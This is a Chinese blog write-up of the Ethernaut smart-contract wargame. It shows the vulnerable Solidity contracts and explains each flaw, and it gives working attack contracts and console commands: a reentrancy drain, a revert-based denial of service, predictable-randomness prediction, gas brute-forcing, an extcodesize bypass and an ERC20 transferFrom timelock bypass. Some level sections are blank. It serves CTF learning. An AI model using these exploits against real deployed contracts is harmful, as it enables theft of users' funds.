Ethernaut的writeup

Ethernaut记录

Hello Ethernaut

出题目的

初级题目,用于测试通过控制台与合约交互

合约代码

pragma solidity ^0.4.18;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  function Instance(string _password) public {
    password = _password;
  }

  function info() public pure returns (string) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string param) public pure returns (string) {
    if(keccak256(param) == keccak256('hello')) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string passkey) public {
    if(keccak256(passkey) == keccak256(password)) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

思路解析

用于测试metamask和控制台交互,按提示做就可以。F12打开控制台,在控制台依次输入以下js代码

await contract.info()
"You will find what you need in info1()."

await contract.info1()
"Try info2(), but with "hello" as a parameter."

await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
42

await contract.info42()
"theMethodName is the name of the next method."

await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()
"ethernaut0"

await contract.authenticate("ethernaut0")

完成后点击提交实例即可。

知识点回顾

metamask是一个嵌入到浏览器的钱包,一旦浏览的网站支持web3,就会弹出metamask询问你是否连接到该网站。在有交易时,也会主动弹出来询问是否确认放行该交易。

Fallback

出题目的

成为合约的owner并将余额减少为0;题目目旨在考察智能合约的回调函数

合约代码

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

//合约Fallback继承自Ownable
contract Fallback is Ownable {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
//通过构造函数初始化贡献者的值为1000ETH
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }
// 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
//获取请求者的贡献值
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
//取款函数,且使用onlyOwner修饰,只能被合约的owner调用
  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }
//fallback函数,用于接收用户向合约发送的代币
  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0
    owner = msg.sender;
  }
}

思路解析

分析代码可以看到,有两种方法使自己成为拥有者,1调用contribute()向合约转超过1000ETH,2调用匿名的回调函数使自己成为owner。当然第一种方法是不可能的,所以需要试着调用回调函数。

回调函数是一个合约中可以有且只能有一个没名字的方法,同时也不能有参数,也不能有返回的值。执行回调函数可以有两个方法:1调用合约中一个没有匹配的函数,2向合约中发送一个不带有任何信息的、纯转账的交易。

那么我们就可以直接向合约转一笔纯转账的交易。可以通过控制台与合约交互,await contract.sendTransaction({value:1})或是使用metamask直接向合约地址转账,这样就能出发回退函数,把合约owner改成我们。最后为了满足题目的条件,只需要执行withdraw函数即可。

总结一下攻击过程

contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零

知识点回顾

在 Solidity 中,回退函数是没有名称、参数或返回值的外部函数。它在以下情况之一执行:

  • 如果函数标识符与智能合约中的任何可用函数都不匹配;
  • 如果函数调用没有提供数据。

只能将一个这样的未命名函数分配给合约。

回退函数的属性:

  • 它们是未命名的函数。
  • 他们不能接受参数。
  • 他们不能返回任何东西。
  • 智能合约中只能有一个回退函数。
  • 必须在外部调用它。
  • 它应该被标记为payable。否则,如果合约收到没有任何数据的以太币,它将抛出异常。
  • 如果被其他函数调用,则限制为 2300 gas。

Fallout

出题目的

获取合约权限,题目旨在让我们了解构造函数

合约代码

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {

  using SafeMath for uint256;
  mapping (address => uint) allocations;

  // 构造函数
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

思路解析

查看代码没有可以利用的漏洞,检查构造函数发现,构造函数的函数名与合约名不一样,Fal1out/Fallout,这导致Fal1out函数实际上已经不是构造函数而是普通的函数了。同时由于该函数是public的,所以任何人都可以调用该函数。

直接在控制台与合约交互,调用Fal1out函数即可

知识点回顾

构造函数采用与合约名相同的这一做法已经在0.5版本被抛弃,取而代之的是constructor关键字。题目太老了。

CoinFlip

出题目的

获取连续的10次胜利。题目的知识点在智能合约中的随机数

合约代码

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  // 构造函数,把连续赢的次数初始化为0
  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
    // 获取当前区块-1,也即前一个区块的区块哈希并将其转换为uint256整数

    if (lastHash == blockValue) {
      revert();
    }
    // 如果前一个哈希等于当前哈希,也即没有新块生成,则状态回滚

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);  // 除法,除以因子FACTOR(2^255),相当于得到blockValue的最高位
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

思路解析

分析代码可以知道,这个猜硬币的结果完全是由前一个区块(的哈希)所决定的。这当然是随机的,但是也是可以预测的。因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果。但是手工操作有些困难,所以应该部署另一个合约来完成操作。

// SPDX-License-Identifier: MIT
  pragma solidity ^0.6.0;

  import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
  interface CoinFlip{
    function flip(bool _guess) external returns (bool);//这里函数可见性要改成external
  }

  contract attack {

    using SafeMath for uint256;
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    address targetAddress =xxxxx;//改成要攻击的合约地址
    CoinFlip c;

    function exp() public returns (bool) {
      uint256 blockValue = uint256(blockhash(block.number.sub(1)));

      if (lastHash == blockValue) {
        revert();
      }

      lastHash = blockValue;
      uint256 coinFlip = blockValue.div(FACTOR);
      bool side = coinFlip == 1 ? true : false;
      c = CoinFlip(targetAddress);
      c.flip(side);
    }
  }

攻击代码如上,这个代码的逻辑也就是前面所述的逻辑,先运行题目的猜正反面的代码,然后再调用合约的下注的函数提交我们的结果。

知识点回顾

interface是solidity里的接口关键字。接口需要有interface关键字,并且内部只需要有函数的声明,不用实现。只要某合约中有和词接口相同的函数声明,就可以被此合约所接受。而具体是通过接口调用的哪个合约中,则是在c = CoinFlip(targetAddress);中传入的targetAddress决定的。可以理解为程序根据传来的地址新建了一个类的实例,然后再通过这个类去调用。

Telephone

出题目的

合约代码

思路解析

知识点回顾

Token

出题目的

合约代码

思路解析

知识点回顾

Delegation

出题目的

合约代码

思路解析

知识点回顾

Force

出题目的

合约代码

思路解析

知识点回顾

Vault

出题目的

合约代码

思路解析

知识点回顾

King

出题目的

成为新的国王。题目知识点在于revert函数的使用。

合约代码

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

  address public king;
  uint public prize;

  function King() public payable {  //构造函数,部署者成为初始国王并存储初始金额
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable { //如果新的调用者出价更高,则成为新的国王。并且新的调用者发给合约的ETH会被补偿给上个国王
    require(msg.value >= prize || msg.sender == owner); 
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

思路解析

从代码中可以看到,被推翻后的国王会收到补偿,但是只要我恶意拒绝这笔补偿就可以一直是国王。只需要在收到题目合约的转账后不接受,回滚交易就可以了。

pragma solidity ^0.4.18;

contract attack{
    function attack(address _addr) public payable{
        _addr.call.gas(10000000).value(msg.value)();
    }
    function () public {  //fallback函数
        revert();  //回滚函数,将撤销所有状态更改。
    }
}

知识点回顾

  1. 匿名函数:一个合约可以有一个匿名函数,此函数不能有参数,也不能有任何返回值,当我们企图去执行一个合约上没有的函数时,那么合约就会执行这个匿名函数。当合约在只收到以太币的时候,也会调用这个匿名函数。
  2. revert()函数:回滚交易状态。撤销所有更改。

Re-entrancy

出题目的

合约代码

思路解析

pragma solidity ^0.8.0;

interface Reentrance {
   function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentranceAttack {
    address _target = 0x27eaDE7a26CECC5C655ddD0B8a2926688355404C;
    
    Reentrance public targetContract;
    constructor() public{
        targetContract = Reentrance(_target);
    }

    function initialFund() public payable{ //用来接收ETH

    }
    function donateToContract(address donator) public payable{  //向目标合约发送ETH
        targetContract.donate{value: 0.001 ether}(donator);
    }
    function withDraw() public{  //取回发送的ETH
        targetContract.withdraw(0.001 ether);
    }
    receive() external payable{  //攻击函数。当收到目标函数发来的ETH时就执行receive函数,
        if(_target.balance>=0.001 ether){
            targetContract.withdraw(0.001 ether);
        }
    }
}

知识点回顾

Elevator

出题目的

绕过看似矛盾的要求。

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender); //根据调用者的地址构建一个合约实例。

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

思路解析

目标合约中,Building是一个抽象类,isLastFloor是一个抽象函数,需要外部的一个地址来去实例化,所以就需要我们自己去构造合约来满足目标合约的调用。根据题目要求,需要让bool public top = true。那么如果想进入if分支,则需要building.isLastFloor(_floor)返回一个false。同时,在进入分支后,又需要返回true以符合条件。就必须让两次返回不同的bool值。

pragma solidity ^0.6.0;

interface Elevator {
  function goTo(uint _floor) external;
}

contract Building {
    bool x=true;
    address target;
    Elevator elevator;

    function isLastFloor(uint) external returns (bool){
        x=!x;
        return x;
    }

    function exploit(address _addr) public{
        elevator= Elevator(_addr);
        elevator.goTo(2);
    }
}

知识点回顾

Privacy

出题目的

合约代码

思路解析

知识点回顾

GateKeeperOne

出题目的

绕过modifier的要求。

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {  //要求直接调用合约的地址不是交易的原始发送者
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() { //要求交易完成后剩的gas能模8191
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) { //按要求类型转换
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

思路解析

1:构造一个合约来调用目标合约。msg.sender是直接调用合约函数的地址,tx.origin是交易的原始发起地址。eg:一个合约调用链A->B->C,则对于C来说,msg.sender是B,而tx.origin是A
2:按题目要求,只需要把gas设置为8191*N+X,X为这次交易用掉的gas,N为任意倍数。一次交易用掉的gas总是相对固定的,那就可以爆破X。由8191*N提供大部分的gas使用,其余的gas就由x穷举。
3:考察类型转换,require1:大长度转换为小长度时,会从低位开始截取,则需要31到16位0,这样如果按照32位去截取,其只有低16位是有效的;require2:只需要高32位不是0即可;require3:这说明key的低16位需要是tx.origin也就是metamask账户的低16位。

pragma solidity ^0.5.0;

contract attack { 
    
    constructor(address _target) public{ 
        address target = _target;
       

        bytes8 _gateKey = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF;  //构造key,也可以手动构造好。这里是用掩码做了一个与操作引入了0
        for (uint256 i = 0; i < 120; i++) {
          //爆破gas
      (bool result, bytes memory data) = address(target).call.gas(
          i + 150 + 8191 * 3  //24573+150+i 就在这个值的附近穷举
        )(
          abi.encodeWithSignature(("enter(bytes8)"),_gateKey)
          //标明要调用的函数和同时传输的参数
        );
      if(result)
        {
        break;
      }
    }
        
    }
    
}

知识点回顾

  1. gasleft函数返回交易剩余的gas量
  2. 大长度转换为小长度时,会从低位开始截取
  3. address.call.gas(gas_limit)(需要调用的函数和数据)用于调用address地址上的智能合约中的某一个函数。该方法在0.6.4被废除,现在写法是 address.call{value: amount}("")
  4. abi.encodeWithSignature,带有函数签名的abi编码。

abi. encodeWithSelector(bytes4 selector, …) returns (bytes): 计算函数选择器和参数的 ABI 编码
abi.encodeWithSignature(string signature, …) returns (bytes): 等价于abi.encodeWithSelector(bytes4(keccak256(signature), …)

一个函数选择器=bytes4(keccak256("function_name(parameter1,parameter2,...)"))。根据函数选择器来唯一确定一个要被调用的函数。

GateKeeperTwo

出题目的

绕过gate。知识点在于内联汇编

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {  //同上一关,编写攻击合约调用题目合约的函数
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() { 
    uint x;
    assembly { x := extcodesize(caller()) }  //内联汇编
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);  //与操作之后需要为全F
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

思路解析

modifier1:同上一关,构造合约来调用题目合约的函数

modifier2:内联汇编。extcodesize 操作符返回某个地址关联的代码(code)长度,如果代码长度为0,表示为外部地址。而大于0表示为合约地址。但是需要注意的是,一个合约,在构造阶段将是被认为没有代码长度的,这就导致不能仅仅靠extcodesize的数量来判断一个地址是否是合约地址。在这题中,就可以在攻击合约的constructor阶段开始攻击。

modifier3:abi.encodePacked(…) returns (bytes):计算参数的紧密打包编码,返回具有ABI格式的字节流。在require中,字节流keccak256哈希后,被格式化为bytes8再被格式化为unit64格式。之后与传入的key做与操作,需要最后等于64位的全F。由于与操作的性质,只要把unit64格式的字节流与uint64的全F进行与操作就可得到需要的key。

pragma solidity ^0.4.18;

interface GatekeeperTwo{
  function enter(bytes8 _gateKey) external returns (bool);
}
contract attack {
  bytes8 key;

  constructor(address _target)  public {
    address target = _target;
    GatekeeperTwo gatekeeperTwo = GatekeeperTwo(target);
    key = bytes8(uint64(keccak256(this)) ^ (uint64(0)-1));
    gatekeeperTwo.enter(bytes8(key));
  }
}

知识点回顾

  1. 汇编操作符extcodesize返回某个地址关联的代码(code)长度,如果代码长度为0,表示为外部地址。而大于0表示为合约地址。
  2. 智能合约在constructor构造阶段不被认为是具有代码长度的
  3. abi.encodePacked(…) returns (bytes):计算参数的紧密打包编码,返回具有ABI格式的字节流

Naughty Coin

出题目的

转出合约里的token。题目目的在于考察ERC20标准里的两种转账方式。

合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }

  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {  //重写了transfer函数,加上了锁。
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {  //锁
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

思路解析

分析代码可以看到,目的合约继承了ERC20,并重写了transfer函数,加上了一个长时间才能取出的条件。查阅ERC20标准,发现其中定义了有两个可以转账的函数

library ERC20Lib {
    ...
    function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
        self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
        self.balances[_to] = self.balances[_to].plus(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }
    function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
        var _allowance = self.allowed[_from](msg.sender);
        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    }
    ...
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

}

就可以使用transferFrom函数来转账。但是transferFrom函数的本意是授权转账,需要验证权限。所以在使用函数之前要先调用approve函数给自己授权。

//secondaddr是任意的账户地址
secondaddr='0xCB3D2F536f533869f726F0A3eA2907CAA67DDca1'
totalvalue='1000000000000000000000000'
//给自己授权
await contract.approve(player,totalvalue)
await contract.transferFrom(player,secondaddr,totalvalue)

知识点回顾

  1. ERC20标准
posted @ 2022-06-17 12:37  柏凝  阅读(73)  评论(0编辑  收藏  举报